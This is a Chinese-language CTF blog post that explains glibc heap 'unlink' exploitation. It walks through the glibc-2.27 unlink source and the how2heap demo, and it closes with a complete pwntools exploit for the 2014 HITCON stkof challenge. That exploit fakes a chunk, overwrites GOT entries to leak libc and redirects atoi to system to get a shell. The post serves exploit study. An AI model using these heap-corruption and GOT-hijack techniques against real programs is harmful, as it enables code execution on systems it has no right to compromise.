Unlink Exploit

Posted by nop on 2020-05-30
Words 2.1k In Total

引言

稀里糊涂的把linux heap的一些攻击方法看完一遍之后发现并没有什么效果,不会的还是不会。在zhz师傅的建议下,开始重新看源码学绕过。本篇内容是关于unlink的,也是回炉的第一篇。

概述

正常情况下,对于非mmap得到到的chunks,合并分为前向合并和后向合并:

  • 后向合并(backward)
    • 通过当前chunk的prev_inuse查看前一个chunk(物理上)是否空闲
      前一个chunk是空闲的。不过默认情况下,最前面的chunk的前一个chunk是被标记为已分配的,即使这个chunk并不存在
    • 前一个chunk空闲,就合并。通过unlink操作将前一个chunk从它的binlist中拿出来,把当前块的大小和拿出来的chunk大小相加作为新的chunk的大小,然后修改当前块的指针指向前一个chunk
  • 前向合并(forward)
    • 通过当前chunk的下一个chunk的下一个chunk的prev_inuse判断当前chunk的下一个chunk是否空闲。为了得到下下一个块,使用当前chunk的指针加上当前chunk的大小和下一个chunk的大小。
    • 如果下一个chunk是空闲的,就合并。通过unlink操作将下一个chunk从它的binlist中拿出来,然后把它的大小和当前chunk的大小相加,作为新的chunk的大小

从源码看绕过

此处源码的版本是glibc-2.27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

对于smallbin的unlink我们实际上只需要关注这一部分:

1
2
3
4
5
6
7
8
9
10
#define unlink(AV, P, BK, FD) {                                          \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \

对于这部分源码,我们需要绕过两个判断,才能达到最后将chunk从binlist拿出来的目的:

1
2
3
// 修改指针,取出chunk
FD->bk = BK;
BK->fd = FD;

第一个判断是大小的判断,即判断当前chunk(被取出)的大小和其物理上的后一个chunk中存储的大小是否相符,此处因为chunk处于释放状态,所以后一个chunk的prev_size为不为空:

1
__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)

这一个判断并不难理解,绕过也简答,只需覆写下一个chunk的prev_size即可。稍微复杂一点的是第二个判断:

1
2
3
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

正常情况下,这一判断也好理解,但是绕过这一判断以及后续的利用过程就有些复杂了。

先看绕过,显然我们只需要使 FD->bk == P && BK->fd == P,这里并不能直接看出绕过的同时如何来利用unlink。通过how2heap的代码来分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer. \n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob; f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00; hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}

两次malloc之后:

1
2
The global chunk0_ptr is at 0x602070, pointing to 0x603010
The victim chunk we are going to corrupt is at 0x6030a0

接下来设置fake_chunk的FD和BK:

1
2
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

大致布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fake_FD->bk    +-+-+-+-+-+-+-+-+-+
+--------------| fake_FD | <---+
| fake_BK->fd +-+-+-+-+-+-+-+-+-+ |
| +----------| fake_BK | <---|-----+
| | +-+-+-+-+-+-+-+-+-+ | |
| | | | | |
| | +-+-+-+-+-+-+-+-+-+ | |
+---+--------->| &chunk0_ptr | | |
+-+-+-+-+-+-+-+-+-+ | |
| |
+-+-+-+-+-+-+-+-+-+ | |
| chunk0_ptr[0] | | |
+-+-+-+-+-+-+-+-+-+ | |
| chunk0_ptr[1] | | |
+-+-+-+-+-+-+-+-+-+ | |
| chunk0_ptr[2] | --- + |
+-+-+-+-+-+-+-+-+-+ |
| chunk0_ptr[3] | ----------+
+-+-+-+-+-+-+-+-+-+

这里实际上是把fake_chunk放到chunk0里面,然后通过上述的步骤完成检测绕过,之后释放chunk1之前,伪造fake_chunk的大小,完成unlink。

接下来是绕过size的检测:

1
chunk1_hdr[0] = malloc_size;

然后,使fake_chunk变为空闲状态:

1
chunk1_hdr[1] &= ~1;

这这样一来,只要我们释放chunk1,那么fake_chunk就会被unlink,执行:

1
2
3
4
5
6
/*
* BK = fake_chunk -> bk;
* FD = fake_chunk -> fd;
*/
FD->bk = BK;
BK->fd = FD;

之后,chunk0_ptr的fd指针实际上就指向fake_chunk->fd

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x602070 - 0x20
0x602050: 0x0000000000000000 0x0000000000000000
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540 0x0000000000000000
0x602070 <chunk0_ptr>: 0x0000000000602058 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000

这个时候我们是fake_chunk->fd指向任意地址,接着通过chunk0_ptr[0]就可以完成任意地址写了:

1
2
3
4
5
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string; // fake_chunk's fd
...
chunk0_ptr[0] = 0x4141414142424242LL;

到此,整个unlink 的利用就结束了。

不难发现,这一过程实际上是欺骗glibc去进行一个指针的重新赋值操作,进而使其指向一个我们希望它指向的地址,完成任意地址读写。

题目试水-2014 HITCON stkof

题目分析

程序提供四个功能:

  1. allocate:申请堆块,大小自定
  2. edit: 编辑堆块内容,输入长度自定而且并没有与对应堆块的大小做比较,所以存在任意长度的堆溢出漏洞
  3. drop:删除堆块,常规的释放
  4. none:没发现有什么用,不过后门可以修改其中调用的strlen的got表完成信息泄露等工作

此外,分析可以知道,程序申请的堆块是放在bss段的一个数组里面的,所以这里可以通过unlink完成任意地址的读写

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')

s = lambda data :p.send(str(data))
sl = lambda data :p.sendline(str(data))
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def allocate(size):
sl(1)
sl(size)
ru('OK\n')

def edit(index, content):
sl(2)
sl(index)
sl(len(content))
s(content)
ru('OK\n')

def drop(index):
sl(3)
sl(index)


chunk1_addr = 0x0000000000602140 + 0x10

p = process('./stkof')
elf = ELF('./stkof',checksec=False)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']

allocate(0x100)
allocate(0x30) # id2
allocate(0x80) # id3

payload = p64(0) + p64(0x20) + p64(chunk1_addr - 0x18) + p64(chunk1_addr - 0x10) + p64(0x20)
payload += 'A'*8 + p64(0x30) + p64(0x90)
edit(2,payload)
# pause()

drop(3)
# pause()
payload = 'A'*8 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2,payload)
# pause()

edit(0, p64(puts_plt))
drop(1)
ru('OK\n')
puts_addr = uu64(ru('\n'))
leak('puts_addr', puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
leak('system_addr', system_addr)
# pause()

edit(2, p64(system_addr))
sl('/bin/sh\x00')
itr()

You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.